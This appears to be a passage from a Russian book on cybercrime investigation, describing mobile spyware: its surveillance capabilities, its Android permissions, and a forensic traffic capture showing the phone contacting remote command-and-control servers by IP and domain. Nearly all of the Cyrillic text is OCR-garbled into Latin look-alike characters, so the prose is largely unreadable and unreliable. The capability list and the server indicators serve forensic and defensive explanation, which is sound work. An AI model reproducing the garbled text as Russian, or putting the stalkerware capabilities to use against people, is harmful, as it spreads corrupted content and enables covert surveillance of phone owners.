O KpyIiHbIE «pa30puUTeIN», IpeJHa3HaueHHbIe OIS COBepIIeHNUs MO-
IIeHHUYEeCKUX OeNCTBUIM MOCPeACTBOM MCIIOJIb30BaHUSI CUCTEM
IMCTAaHIIMOHHOTO OAHKOBCKOI'O YITPaBJIEHMS,

O mpenHa3HaueHHbIe [IJIS1 JeMOHCTPALIMM PeKIaMbl M HAKPYUMBaHUS
TpaduKa «peKjaaMHbIe» IIPUTOKEHUSI:

Q nporpaMMBbI-IIITMOHBI.

BOoJIBIIMHCTBO BPeIOHOCHBIX ITPOrPaMM, TTOIA 10X Ha MOOWIbHbIE
TenedoHbl, MpegHa3HAUEHO /I XUIEHUS TeHEKHbIX CPeJICTB, OHU He
TaK MHTEPECHbI JIJISI pACCMOTPEHMS U T10 OOJIbIIIEel YacTy MajIo YeM OT/IN -
YaTCS OT IMOJOOHBIX 3JI0OBPEAOB /1T 0OBIYHBIX KOMITBIOTEPOB. BpenHbie
MpoTrpaMMbl, TTIOKa3bIBaloIIe pekiamy, 6e3yCcIOBHO, HABeBaIOT CKYKY.

Mob6unbHbI TenedoH Ooee MeHeH [JisI KMOepIpecTyITHUKOB, cIie-
UMIM3UPYIOIIMXCS Ha MINXOHAaXe, TOTOMY YTO COBpeMeHHbIe TeH/eH-
1y 13 QYHKIIMOHAIBHOTO M Ha/IESKHOTO KHOTIOUHOTO TesiedhoHa ciestain
BMeCTU/INIIe Bceil MHGOpMalLy Kak 1Sl BJIaJieblia, Tak U O BIafesblle.

Moo6uibHbIN TesedOH CTasl JKeJIaHHOM M00bIvei Kak /ISl 3JI0YMBIIII-
JIEHHMKOB, TaK M JIJisI TIPAaBOOXPaHUTENbHBIX OpraHoB. VHbopmaIusi,

U https://www.kommersant.ru/doc/3053357/.
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XpaHsIasacs B HeM, MOKeT paccka3aTb MHOTO MHTepecHoro. Ilyraio-
/e TaMHCTBEHHbIe BO3MOKHOCTM COBpeMeHHOro cmaptdoHa 3HaTh
0 BJIajiesiblle OOJIbIIe, YeM 3HAET OH O cebe caM, elle OYAyT 3aTPOHYThI
B MIpeAIioc/ieHel YacTy KHUTY — 0030pe 4YepHOro pbiHKa MHMOpMaLu-
OHHBIX YCJIYT.

PaccmoTpyM BpegOHOCHYIO TPOrpaMMy U3 [TepBOI YIIOMSHYTO BbIIIe
TPYIIBI B CBSI3U C TEM, UTO B paMKaxX MHGOPMAaIMOHHOM 6€301acHOCTHU
camoe CTpallHOe, YTO MOKEeT IPOU30TH ¢ MOOWIbHBIM TejieOHOM, —
3TO, TTOKaJTYA, IToTalaHNue B HEero MIMMOHCKO MOHOTOMYHKIIMOHAIbHOM
MporpaMMbl.

PaccMoTpum nipumep Takoy BpegoOHOCHO MPOTrPaMMbl, SIBJISIIOLLENCS
Ha CerofHsIIHUI AeHb JUIepOM MO0 MCIO0Jb30BAaHUIO B apceHasie Ku-
OepIInMoHa.

Ec/iv KOpOTKO, TO TaHHBIM TUII TTPOTPAMM IIpegHa3HaueH Al cbopa,
00paboTKM U XpaHeHus MHOOpMaIMM, ITOJIy4aeMoil 1 rmepemaBaeMoii
IOCPeICTBOM MOOMIbHBIX Tele(hOHOB.

A ecnu moapoOHO ¥ IO MYHKTaM, TO BpeAOHOCHAs mporpaMma Iio-
3BOJISIET:

O nmpocMaTpuBaTh CIIMCOK BCEX BbIZOBOB TenedoHa;

O mpocMmaTpuBaTh CIIMCOK SMS-CcO001IeHM 1 3HAKOMUTHCS C UX CO-
IepPXXUMBbIM;;

O 3amuchiBaTh coBepiilaeMble TejiehOHHbIE TTEPETrOBOPbI;

O mpocymnBaTh U 3arpy’kaTb Ha KOMITbIOTED, YOaJleHHbI cepBep
MUJIM COTOBBIN TenedOH 3anyucaHHble Tejie)OHHbIE ITePEerOBOPbI;

Q omnpepenaTb MecTorojokeHne abonenTa 1mo GPS, Wi-Fi u coToBbIM
CeTsIM;

O oCylIecTBISITh YOQJIEHHO He3aMeTHYIO 3alliMCh OKPY>KeHUS Teje-
(oHa;

O cobupaTh UCTOPUIO MMOMYISIPHBIX OpPay3epoB;

O cobupaTh MOUTOBYIO MEPENUCKY;

O cobupaTh MepenmucKy U3 coruanbHbIX ceTeii «BKoHTakTe», «OgHO-
KJIaCCHUKU»;

O cobupaTh mepemnucky mporpamMmMm obmeHa coobmenussmu (Skype,
Viber, WhatsApp, Agent@Mail.ru, Telegram u ripounx);

QO BbIrpyKaTh Bce hoTorpadun, TOKYMEHTbI C MOOMITBHOTO TejleOHa;

O coBepmiaTh CHUMKM 3KpaHa C 3aJjaBaeMbIM MHTEPBAJIOM;

O mpocmaTpuBaTh CIIMCOK YCTAHOBJIEHHBIX MPOrPaMM U yOAISTh UX
110 HEOOXOIMMOCTH.
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Ha sToM dbyHKIMM BpeAOHOCHOV TPOrpaMMbl He OTPaHMUMBAIOTCS.

IToc/ie yCTaHOBKM TaKO¥ MPOrpaMMbl B MOOWMJIbHBIN Teie()OH OH aB-
TOMAaTUYeCK! IpeBpallaeTcs B LIIMMOHCKOIO «Ky4Ka» C IMOJHBIM KOM-
TJIEKCOM BO3MOYKHOCTEJA.

[IporpamMmMa yganeHHO MOKET NMPUHMMATh ClielalbHble KOMaHbI,
MPeOCTaBISION[e BO3MOKHOCTD YIIPAaBA€HUS MOOVIbHBIMU YCTPO¥i-
CTBaMMU.

PaspenieHysi, KOTOPbIMY IOJIb3YETCSI BpeJOHOCHAS [TpOrpaMma B oIie-
paimoHHoi cucteme Android:

O android.permission.CHANGE_NETWORK_STATE (M3MeHeHMe TTOIKITI0-
YeHUs K CeTu);
Q android.permission.DISABLE_KEYGUARD (OTK/IIOUEHME OJIOKUPOBKU

KJIaBUATYPBhI);

Q android.permission.USE_CREDENTIALS (MCIIOJIb30BaHME YUYETHBIX
3anucen);

O android.permission.READ_CALENDAR (UTe€HME MEPOIPUSITUI B Ka-
JleHgape);

O android.permission.READ_LOGS (UTeHMe KOHDUOEHIMATbHBIX
IAHHBIX XypHAaJIa);

O android.permission.READ_FRAME_BUFFER (uTeHMe O6ydepa kaapa);

O android.permission.DEVICE_POWER (BK/IFOUEHME UM BBIK/IIOUEHME
TenedoHa);

Q android.permission.CALL_PRIVILEGED (COBepIlleHMEe BbI30BOB Ha
mobbie TeneoHHBIE HOMEDA);

Q android.permission.INTERNET (IIOJIHBIV OOCTYIl B IHTepHeT);

O android.permission.MODIFY_PHONE_STATE (M3MeHEeHMe COCTOSTHUS
TenedoHa);

O android.permission.ACCESS_FINE_LOCATION (AOCTYHN K JaHHbBIM
GPS);

Q android.permission.HARDWARE_TEST (T€CT alIapaTHOrO OKPYXKe-
HUA);

Q android.permission.WRITE_SMS (pemakTupoBaHue SMS min MMS);

O android.permission.ACCESS_NETWORK_STATE (IPOCMOTpP COCTOSI-
HUS CeTH);

Q android.permission.GET_TASKS (3alyLeHHBIX IPUIOKEHUIN);

Q android.permission.DELETE_PACKAGES (yHajieHUe MPUIOKEHUIA);

Q android.permission.STATUS_BAR (OTKJIIUYEHME MJIM M3MEHEeHMe
CTPOKMU COCTOSTHUS);
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Q com.android.browser.permission.READ_HISTORY_BOOKMARKS (4UTe-
HMe UCTOopuUM Opaysepa 1 3aK/Ia/ioK);

O android.permission.MOUNT_FORMAT FILESYSTEMS (dbopmatr BHeIl-
Hero XpaHWInIna);

O android.permission.WRITE_EXTERNAL_STORAGE (M3MEHUTb/yAa-
JIUTB conepkumoe SD-KapThl);

O android.permission.RECORD_AUDIO (3anMCh ayguo);

Q android.permission.MANAGE_ACCOUNTS (yIpaBjeHMe CIIMCKOM aK-
KayHTOB);

Q android.permission.READ_EXTERNAL_STORAGE (YTeHMe C BHEIIHUX
HaKoIluTesnen);

O android.permission.RECEIVE_BOOT_COMPLETED (3amycK IIpu 3a-
rpy3Ke);

Q android.permission.CONTROL_LOCATION_UPDATES (yIIpaBJieHUe
yBeZloOMJIEHUSIMM 00 OOHOBJIEHMM MECTOTIO/IOXKEHMST);

Q android.permission.INSTALL_PACKAGES (YCTAaHOBKA IPUJIOKEHWU);

Q android.permission.RECEIVE_SMS (rionyuyeHue SMS);

Q android.permission.PROCESS_OUTGOING_CALLS (TlepexBaT UCXOAS-
IIMX BbI3OBOB);

Q android.permission.BROADCAST _STICKY (OTIIPaBUTh TPAHUISILIAIO);

O android.permission.CALL_PHONE (TesiehOHHBIX BbI30BOB);

Q android.permission.WRITE_SETTINGS (M3MeHeHMe IJ100a/IbHbIX
HACTPOEK CUCTEMBI);

O android.permission.READ_PHONE_STATE (YT€HME COCTOSTHUS Teje-
¢ona);

Q android.permission.MOUNT_UNMOUNT_FILESYSTEMS (MOHTMpPOBA-
HMe U IeMOHTMpOBaHMe (QaiiyIoBbIX CUCTEM);

O android.permission.UPDATE_DEVICE_STATS (M3MeHeHMe CTaTyca
6aTapen);

O android.permission.WRITE_SECURE_SETTINGS (M3MeHeHMe Ha-
CTPOEK CUCTeMbI 6€30ITacHOCTH);

Q android.permission.WRITE_CONTACTS (3aIllMC¥ KOHTAKTHBIX TaH-
HbBIX);

Q android.permission.BROADCAST_SMS (oTmpaBiieHne SMS-TpaHCc-
JISILUIA);

O android.permission.SEND_SMS (oTmpaBieHue SMS-coobieHmnii);

O android.permission.ACCESS_WIFI_STATE (mpocMmoTp Wi-Fi-cra-
Tyca);

Q android.permission.WAKE_LOCK (OTK/JIIOUEHME CIISILEro pexxuma);
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Q android.permission.CHANGE_WIFI_STATE (u3meHeHue Wi-Fi-cTa-
Tyca);

Q android.permission.DELETE_CACHE_FILES (yoajJieHue KaIlla Mpu-
JIO’KEHU);

Q android.permission.READ_CONTACTS (UTeHMe JaHHBIX KOHTAKTOB);

Q android.permission.CLEAR_APP_CACHE (ygajeHMe BCeX HaHHbIX
K3ILlIa MIPUJIOKEHUN);

O android.permission.MODIFY_AUDIO_SETTINGS (M3MeHeHMe Ha-
CTpOeK ayauo);

Q android.permission.READ_SMS (uteHne SMS mium MMS);

QO android.permission.USE_SIP (COBeplleHMe 3BOHKOB uepe3 VH-
TepHeT);

O android.permission.GET_ACCOUNTS (OOHaApY>KeHMe U3BECTHBIX aK-
KayHTOB).

Kak u mob6ast yrpasjsieMasi BpeJOHOCHAsI ITporpaMma, JaHHbIV TUIT
[IPOrpaMM COCTOUT M3 IBYX OCHOBHbBIX YaCTel — CepBePHOI YaCTU U KIIU-
€HTCKOV IPOrpaMMbl, YCTaHABIMBAaEMOM HEIIOCPeACTBEHHO Ha KOHTPO-
JIUpyeMblii TenedoH.

VIMeHHO K/IMeHTCKas IporpaMmMa U SIBJISIETCS BPEeJOHOCHO.

Ecnu paccmaTpuBaTh ee ¢ TOUKM 3peHMs 3aKOHOAATe/IbCTBA, OHA OTBe-
yaeT BCeM HeOoOXOIMMBbIM JIJIS1 KBIMMUKAIIMY TPU3HAKAM BPeIOHOCHOI
KOMITbIOTEPHOI IPOTrPaMMbl, TIPEAYCMOTPEHHOI CT. 273 YK P®. A numeH-
HO CT. 273 YK PO («Co3maHue, UCII0/Ib30BaHMeE U pacpoCTpaHeHe Bpe-
IOHOCHBIX KOMITBIOTEPHBIX IIPOTPAaMM») MpeaycMaTpuBaeT YyroJIOBHYIO
OTBETCTBEHHOCTDH 3a CO3JaHMe, paclpoCTpaHeHNe UJIN UCIIOIb30BaHMe
KOMITBIOTEPHBIX MTPOTPAMM JIMOO MHOM KOMITbIOTEpHOV MHOOpMAaIUH,
3aBeOMO IpeaHa3HauYeHHbIX [JI1 HeCAaHKIMOHMPOBAHHOTO YHUUTO-
SKeHMSI, OJIOKMPOBaHMS, MOAMMUKALIVIM, KOTIMPOBAHNS KOMITbIOTEPHO
MHGOpMaLMU UIN HelTpaauzalum CpecTB 3allUThl KOMIIbIOTEPHOI
nHdopmauun.

PaccmaTtpuBaemas INMOHCKAs ITporpamMmma 3aBeloMo IpeHa3HaueHa
IJIsT HECAHKIMOHMPOBAHHOTO KOMMMPOBAHMUS U MOAUMUKAIY KOMITbIO-
TepHOoI MHPOopMaLn.

OcHOBHast 0COOEHHOCTH ITPOrPaMMBbl — €€ CKPBITBIN PEeKUM PabOThI
Y HEHAaBUCTHOE OTHOILIEeHMe K aHTUBUPYCHBIM IPOLYKTAM, UTO IO -
TBepKIaeTcsl BCTPOEHHBIMM B Hee Gj0KaMu. BripoueM, BCTpedaroTcst
Moavdukamuy mnmoHckoro [10, He pacro3HaBaeMOT0 aHTUBUPYCHBIMU
CUCTEMaMMU.
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KimeHTCKast 4aCcTh BPeIOHOCHO IPOTrpaMMbl 3aITyCKaeTCs IIPU BKITIO-
yeHUM Teyed)OHA U Ha MPOTSIKEHMM BCero Iepuona ero GyHKIMOHMPO-
BaHMs coOMpaeT 3alaHHYI0 B HACTPOJKax MHPOPMALMIO U MepeIaeT ee
Ha cepBep OJIs1 JajbHeliiero xpaHeHus. [lapamMeTpsl yIaJeHHOTO cep-
Bepa yKa3aHbl BHYTPU CaMOJi BpeIOHOCHOJ ITPOTpaMMbl, YTO 0bO1erdyaeT
pacciegoBaHye TTOAOOHbBIX MHIIMIEHTOB.

[IporpamMma ycraHaB/uBaeTcs Ha TesiedoH 1 GYHKLIMOHMPYET B CKPbI-
TOM pexkuMe, He 3a7aBasi BOIIPOCOB BjajieNblly TejiepoHa M HUKAK ero,
COOTBETCTBEHHO, HE YBeIOMJISISI O CBOMX JIeiicTBUsIX. [I[porpaMmmy Takoro
TUIIA CAMOCTOSITEJIbHO Bjajesern TejedhoHa OOHAPYKUTh He B CUJIAX,
ILJISI TOTO TIPUMEHSIeTCs Crieluaan3MpoBaHHOe ITPorpaMMHOe obecrie-
yeHue'.

Iig mepemauy 3agaHHONM MHGOPMALNM ¢ MOOMIBHOrO TejaedoHa Ha
yIajleHHbI cepBep IporpamMmma MCIOAb3yeT AOCTYIIHbI MHTepPHEeT-Ka-
HaJI CBSI3U, a IS Ilepeauy 00beMHBIX JaHHBIX IIPOTpaMMa I0KMUIaeTCS
noctyrHoro Wi-Fi-gocrymna. MHdopMalusi OTChlIaeTCsl Ha cepBep-Ha-
KOIIMTE/Ib Yepe3 3a/laBaeMblii 3JI0YMbIIIJIEHHMKOM IMepPUOJl BpeMeH!
(puc. 2.22).

urknown 24264 186 a7 12216 99 12048
unknown 23265 174 &7 11072 &7 12216
unknown 976 12 12 978 0 0
8 Show info MAC - 52:54:00:12:34:56 - (unknown) o [x
- Maininfo Coakies (0) User-Agerts (1) MDKS (0) LLNMR (0) 551 Handshake(D)
File name traffic.peap
Size file 24264 Byte =) Session Time (40) Jj Identification (0) DS (23) Links HTTP (2)
- Time info Mumbe... « Dats Tine Type Links Reefer
EBegin data 02.12.2015 21:31:52 35 02.12.2015 18:32:08 Get 188.138.125.230faudin/
Begin end 0212 205 253D 3 48 02.12.200518:32:09  Get 57.48,80. 66/ audiof
Duration time ah.3m. 445,
~ ETHERNET info
MAC address 52:54:00:12:34:56
Vendor unknown
+ TX/RXinfo
Tx Packets 87
Tx Bytes 12216 Byte
R Packets 99
R Bytes 12045 Byte
~ LANinfo

Host: name
1P address

~ Systeminfo
Lang system

~ Count packets / protocols

All packets 185 (100 %)

Courk ARP 00 %) value Result

Count TCP 34 (18 %) DateTime: 02.12.2015 18:32:08

Court LDP (o) — o

ColnE5 F({Hw) Result: 37.48.60.66/audiof

Court DN5 2

count MRS . Connection: close

IR 8 User-Agent: Fazilaf5.0 (11; U Linux 1685, ru; rvi1.965) Gecka/2008050502 Firefor/3,0b5

- bt Bl

Puc. 2.22. YcmaHoeneHHsle 8 pe3ynsmame aHanu3a IP-adpeca

I http://cibexpert.ru/programms/.
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Ha cepBepe, KOTOpPbIX MOKET ObITh HECKOJIbKO, 37I0YMbIIIJIEeHHUKAMH,
KaK IpaBujIo, pa3MeniaeTcs: Be6-umHTepdeiic, Mo3BOISIONIMIA OCYIIECTB-
JISITh TIPOCMOTP MOTYYEHHbBIX JAHHBIX, HAOMIOOATh CTATYC POrPAMMbI-
IITIMOHA U TTOChLIATh HEOOXOAMMbIe KOMAaHIbI.

HekoTopble pa3HOBUIHOCTU TaKUX BPeIOHOCHBIX MpOrpaMM I103BO-
JISTIOT HAGTIOIATh M YITPABJISITh POTPAMMOI¥i C IPYTOro MOOUIBHOTO ITPU-
JIOKeHMSI, yCTaHAB/IMBaeMOro Ha Teae(oH 3/I0yMblliVIeHHMKA. B Takom
crydae 06e ImporpaMMbl 0OpalIalTCs K OMHOMY CEPBEDY.

[IpoBOOUTH MCC/iefOBaHMe U 3KCIIEPTMU3Y BPeJOHOCHBIX MPOrpaMm
111 MOOWJTBHBIX TesIe()OHOB TaK JKe, KaK ¥ JIJIST OObIYHBIX KOMITBIOTEPOB,
BIIOJIHE BO3MOXXHO. B mpotiiecce uccienoBaHus ycTaHaBIMBAaeTCS BCSI He-
obxomyMmast Ij1s1 paccyieqoBaHus MHGopmanms.

B kauecTBe mpumMepa MPUBOAUTCS aHAIN3 CETeBOTO B3aMOECTBUS
OIHOJ M3 Pa3sHOBUIHOCTEN 00CYKIaeMbIX IIPOrpaMM, IMpegHa3HaueH-
HBIX JIJIS CJIesKeHMs 32 MOOWIbHBIM TereoHOM:

BpeMs, mmpomenmee C MOMEHTA 3allyCka MIPOIPaMME omepalysl  pecypc IOopT
1.156 OTKPHEITHE lgal5s44-in-£9.1e100.net 443

4.195 OTKPHEITHE lgal5sd44-in-£9.1e100.net 443

11.195 OTKPHTHE static-1ip-188-138-125-230.1inaddr.ip-pool.com 80
11.195 3aIucCh static-ip-188-138-125-230.1inaddr.ip-pool.com 80

GET /audio/ HTTP/1.1 Host: 188.138.125.230 User-Agent: Mozilla/5.0 (X11;
U; Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept:
text/html Connection: close

12.200 yTeHne static-ip-188-138-125-230.1inaddr.ip-pool.com 80
HTTP/1.1 403 Forbidden Server:

13.195 OTKPHTHE 37.48.80.68 80

14.195 3amIncCh 37.48.80.68 80

GET /audio/ HTTP/1.1 Host: 37.48.80.68 User-Agent: Mozilla/5.0 (X11; U;
Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept: text/
html Connection: close

14.195 OTKPHTHE static-ip-188-138-125-230.1inaddr.ip-pool.com 80
14.200 YTEeHNne 37.48.80.68 80

HTTP/1.1 200 OK Date: --18:32:17 GMT Server: Apache/2.4.17 (Unix)
OrkpuTreSSL/1.0.1k PHP/5.4.42 Last-Modified: Fri, 30 Oct 2015 21:38:11
GMT ETag: “0-523593e80429e” Accept-Ranges: bytes Content-Length: 0 Con-
nection: close Content-Type: text/html

15.194 3aI1Ch static-ip-188-138-125-230.1inaddr.ip-pool.com 80
GET /audio/ HTTP/1.1 Host: 188.138.125.230 User-Agent: Mozilla/5.0 (X11;
U; Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept:
text/html Connection: close
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16.200 yTeHne static-ip-188-138-125-230.1inaddr.ip-pool.com 80
HTTP/1.1 403 Forbidden Server:
20.194 OTKPHTHUE static-ip-217-172-190-216.1inaddr.ip-pool.com 80
21.194 OTKPHTHE 217.172.190.216 80
22.194 3aMNCh 217.172.190.216 80
22.194 3aMNCh 217.172.190.216 80
22.194 3aMnCh 217.172.190.216 80
<.
22.194 3aMNCh 217.172.190.216 80
23.194 3aMNCh 217.172.190.216 80
<.
23.200 uTeHne 217.172.190.216 80
....[PHONE:UNKNOWN PHONE
26.200 uTeHne 217.172.190.216 80
PHONE : UNKNOWN PHONE
79.191 3aMnCh 217.172.190.216 80
79.191 3aMnCh 217.172.190.216 80
79.191 3aMnCh 217.172.190.216 80
<.
79.191 3aMnCh 217.172.190.216 80
-
141.188  oTKpHTUE static-ip-188-138-125-230.1inaddr.ip-pool.com 80
142.187 3amuch static-ip-188-138-125-230.1inaddr.ip-pool.com 80

GET /audio/ HTTP/1.1 Host: 188.138.125.230 User-Agent: Mozilla/5.0 (X11;
U; Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept:
text/html Connection: close

142.200 uTenne static-ip-188-138-125-230.1inaddr.ip-pool.com 80
HTTP/1.1 403 Forbidden Server:

149.187  oTKpHTUE 37.48.80.68 80

150.187 3ammch 37.48.80.68 80

GET /audio/ HTTP/1.1 Host: 37.48.80.68 User-Agent: Mozilla/5.0 (X11; U;
Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept: text/
html Connection: close

152.200 uTenne 37.48.80.68 80
HTTP/1.1 200 OK Date:
153.187 OTKpHTHUE static-ip-188-138-125-230.1inaddr.ip-pool.com 80

153.187 3amuch static-ip-188-138-125-230.1inaddr.ip-pool.com 80
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GET /audio/ HTTP/1.1 Host: 188.138.125.230 User-Agent: Mozilla/5.0 (X11;
U; Linux 1686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Accept:
text/html Connection: close

155.200 yrenue static-1p-188-138-125-230.1naddr.ip-pool.com 80
HTTP/1.1 403 Forbidden Server

158.187  oTkpHTUE 217.172.190.216 12379
164.186  3ammchb 217.172.190.216 12379
164.187  3amuch 217.172.190.216 12379
164.187 3amuchb 217.172.190.216 12379
<.

164.187 3ammchb 217.172.190.216 12379
|

165.187  3amuch 217.172.190.216 12379
<.

165.200 duTenne 217.172.190.216 12379
P:...PHONE:UNKNOWN PHONE

167.200 uTenne 217.172.190.216 12379
PHONE : UNKNOWN PHONE

209.184  oTkpHTHE localhost 123
209.184  zammch localhost 123
cee. o kG

220.183 3ammch 217.172.190.216 12379
220.184  3amuch 217.172.190.216 12379
227.183  3ammch 217.172.190.216 12379
<.

227.183  3ammchb 217.172.190.216 12379

AHanu3 ceteBoro TpaduKa IIPOrpaMMbl BBISIBUI OoOpalleHue K pe-
cypcam, ¢ KOTOPbIMM IIPOTpaMmMa B CKPBITOM OT MOJIb30BaTesIsI peXXuMe
ocylIecTBisieT ooMeH nHopmartueit (puc. 2.23).

Takum 06pa3om, Mpy M3yuyeHUM 0OHAPYKEHHOTO 9K3eMILIsIpa Bpeno-
HOCHOJ MpPOrpaMMbl MPeACTaBISIeTCS BO3MOXHBIM TOYHO OIIpeAe/nThb
MeCTOHaxXOXXIeHue YIIpaBJsIollero cepBepa 1 cepBepoB apXMBUPOBAHMS
TaHHBIX.

He3akoHHas1 AesITeIbHOCTh MPECTYIHONM I'PYMITbI JIUII, OCYIIECTBIISIB-
IIMX YCAYTYU TI0 YCTaHOBKE TAKO IIMMOHCKOV MPOTpaMMbl, OblIa Tpe-
ceueHa B 2016 rogy cuamu coTpyaHUKOB YiipasneHus «K» BCTM BM[],
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Poccun u ciiegcrBeHHbIM yiipasieHnem YMB]I Poccuu 110 JleHMHCKOMY
paiioHy MOCKOBCKOJ 061aCTH.

3 Show info MAC - 52:54:00:12:34:56 - (unknown) o | x

- Main infol Cockies (1) User-Agents (1) [ s | werm | 5L Handshake(0)
File name treffic.pcap
ol TR ) Session Time (41) [ 7 ertfication (1) | oonsea) | kTR

+ Time info DHS Query Count Time begin Time end Duration
Begin data 02.12.2015 21:31:52 shadowcopy.ru S 02.12,2015 18:32:09 | 02,12.2015 18:34:25 0Oh. 2m. 165,
Begin end 02.12.2015 21:35:36 shadowcopy.org 4 02.12.2015 18:32:11 | 02.12.2015 18:34:29 0h. 2m. 185,
Duration time Dh.am 445 230,125,130, 168 -sddr. arpa 2 02122005 183207 | 02.12.2005 163417 | Oh,2m. 0%,

- ETHERNET info static-ip-185-136-125-230 inaddr ip-pool.com 2 | 02.12.201518:32:07 | 02.12.2015 18:34:17 | 0h. 2m. 105,
- A0 173456 65.80,45.37 n-addr.arpa 2 0212.201518:32:09 | 02.12.2015 18:34:25 | Oh, 2m. 165,
Vendor UHTERR 216.180.172.217 in-addr.arpa 2 02,12, 2015 18:32:16  02.12,2015 18:34:33  0h, 2m. 175,

- TX/RXinfo static-ip-217-172-190-216.inaddr ip-poal.com 2 02,12, 2015 18:32:16  02.12,2015 18:34:35 0h, 2m. 195,

o e a7 73.226.125. 74.in-addr. arpa 1 02.12,2015 18:31:52
Iga15s44-in-f9. 1e100.net 1 02.12,2015 18:31:52
Tx Bytes 12216 Byte
Rx Packets 99
R Bytes 12048 Byte
~ LANinfo DNS Query

Host name -
1P address - shadowcopy i (5)
- Systeminfo shadowcopy.org (4)

Lang system - [[-125.138.188.in-addr.arpa (2) |
- Count packets / protocols 25230 Ineddr in-pocleom @

all packets 186 (100 %)

Cot TP 2(18%

Coursssh 2715 %) .3.226.125.74.in-addr.arpa (1)

Count DNS z3

@RS 7 I—l [ 1ga18sa4-in-fa.18100.net (1) |

Count LLNMR 0 (] 1 2 3 1 5 [

Puc. 2.23. AHanu3 cemesozo mpaguka 8pedoHOCHOU npo2pammbl

MeXXmy TeM TaHHbIV TUIT TPOrPaMM IT0Ib3YeTCs MOIMY/ISIPHOCTbIO, IT0-
3TOMY peKOMeHAyeTCsl BHMMAaTeTbHee OTHOCUTBCS K YCTaHAB/IMBAaeMbIM
MIPUJIOSKEHMSIM, OCTEPEeraThCs olapeHHbIX MOOWMJIbHBIX TeIe()OHOB U He
oCTaBJIsITh TeedoH 6e3 mpucMoTpa.

YcTaHOBKA IMTPOTPaMMBbI IIPOMCXOIUT 38 CUUTAHHBIE CeKYH/BI. C 11e/ThI0
MIPOBEPKM CBOero TejeoHa HAa BO3MOXKHOE HE3aKOHHOE IMPOKMBaHMeE
B HEM BpeIHBbIX MPOTPaMM CJIeAyeT YCTAaHOBUTH aHTUBUPYCHOE IPO-
rpaMMHOe obecreuyeHue, KOTOpOe IMPOKOAOCTYIIHO, B TOM 4YMCJIe
1 B 6ecryiaTHOM BapuaHTe. JIJis1 HaJeXKHOJ ITPOBEePKM JTyulile oOpamaTh-
cs1 K ripodeccroHaaM.

[IpuBeneHHbIE B JAHHOI IJIaBe MPYMePbI JO/DKHbBI JIUIITHUIA pa3 Mpo-
IeMOHCTPYPOBATh JBe OUeHb BaKHbI€ BEIIM: BO-TIEPBBIX, HE TaK BCE
CJIOKHO, YTO CBSI3aHO C KMOEPIIPeCTyIIEHUSIMU, U, BO-BTOPBIX, camast
cepbe3Hasl 3alMTa OT KMOEPIIMOHKa — 3TO 3HAHME U TTOHMMAaHMe ero
BO3MOYXHBIX METO/IOB.



TTIASA 3

OCoBEHHOCTU
KUBEPNPECTYNEHUN

OG6I11eCcTBO ITpOILIAraao JOATUI ITyTh pa3BUTHS, TIpex e yeM cpopmmpoBa-
J1aCh KPUMMHAIUCTUKA, BKITIOYAIOIIAst B Ce6s1 Cerof{HsI COBOKYITHOCTb METO-
IIOB ¥ TEXHUYECKUX CPECTB, MCITOIb3yEeMbIX JIJIS PACKPBITHS OOIbIIMHCTBA
TPUBUAJIbHBIX ITPECTYIITIEHMIA, HA KOTOpbIe CTTIOCOOeH YyeytoBek. OTaenbHbIe
TOJCUCTEMBI KPUMMUHAIUCTUUECKOTO MCCIeA0BaHUS TTOTIOTHUINCH YHU-
BepCaJibHBIMM METOHOJIOTUSIMU aHA/IN3a U BbIIAIOIIMMMUCS CIeMaINCTa-
MU, TiepefaBaBIIMMI CBOM 3HAHUS (JIEAYIOIIVM TTOKOJIEHUSIM.

XOTSI CeromHsl pacciefoBaHMUI0 MHIUMIEHTOB MHGOPMAIMOHHO
6e301acHOCTH yziesisieTcs Bce 60/ibliie BHUMAaHMSI, 9TO BHYMMaHMe 3a4acTyio
HOCUT OTKPOBEHHO PEKJIaMHbIM WM AaKe MPOINaraHAMCTCKUI Xapak-
Tep, He MMeIIINI HUYero o01Iero ¢ JkeJlaHMeM PacKpbIBaTh U IpecekaTh
Kubepripectyrienust. KonmmyecTBo npectyrieHnii B MHGOPMaIMOHHO
cdepe mpomoIKaeT pacTu, HECMOTPSI Ha BCe TIpMHMMaeMble Mephbl.

ABTOD He MpecyenyeT 3a4au pacCMaTPUBATh KMOepIIpeCcTyTIeHNs CO
CTOPOHBI KPUMMHAIUCTUUECKOI TEPMUHOIOTUM U 0OCYKIATh CTEIeHU
JIATEHTHOCTU, MIPUCYILIME TaHHOMY BUY ITpeCcTyruieHu. Takue oucKyc-
CUM ITyCKaii BeOyTCS B JIEKIIMOHHBIX 3aJIaX.

[Ipennaraetcs o6paTUTh BHUMaHMe HA JIPYroit MacCUB MPUUMH He-
00bIYaitHOI MacIITaOHOCTM KMOEpPHpPecTyIHOCTH, KOTOpbie YCJIOBHO
MOSKHO pa30uThb Ha CJIeyIOlIe TPYTIIIbI:

O «MUCTUKA KMOepIpecTyIIeHUi»;
Q «TpygHOCTU IIepeBoAa»;
Q «OOCTyITHbIE MHCTPYMEHTBI».
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K rpyr1ie «MuUCTHUKa KMOEPIIPeCTYIIEHUI» aBTOp NpuUunciser dddek-
TbI, CO3[JaBa€MbI€ 3JI0YMbIIJIEHHMKAMM U 3aK/II0YAIOIIMeCs B 1eCTBUSIX,
HarlOMMHAIOUIMX C TIePBOTO B3I/IsiIa AeViCTBUS U/UTIO3MOHMUCTOB U (DOKYC-
HMKOB. 3[€Ch HY>)KHO YYUTBIBATh TEXHUUYECKME TTO3HAHMS HAIaJalolMX,
HEKOTOPbIe XUTPOCTHU U, KaK yKe YIIOMUHAIOCh, COLMA/IbHYIO MHKEHEPUIO.

K «TpygHOCTSIM IepeBoga» cjiefyeT OTHECTU BCEBO3MOKHbBIE feli-
CTBMSI, HATIpaBJIeHHbIe Ha 6OPBOY C KMbOepIpecTyIIeHUsIMU, OCYIIeCTB-
JIsieMble JINIIaMU, He pa30yMparonMMucs B MeXaH3Me MOIIeHHNYeCKUX
IeliCTBUIA, COBEPIIAEMBIX C UCII0/Ib30BaHMEM KOMITbIOTEPHBIX TEXHOJIO-
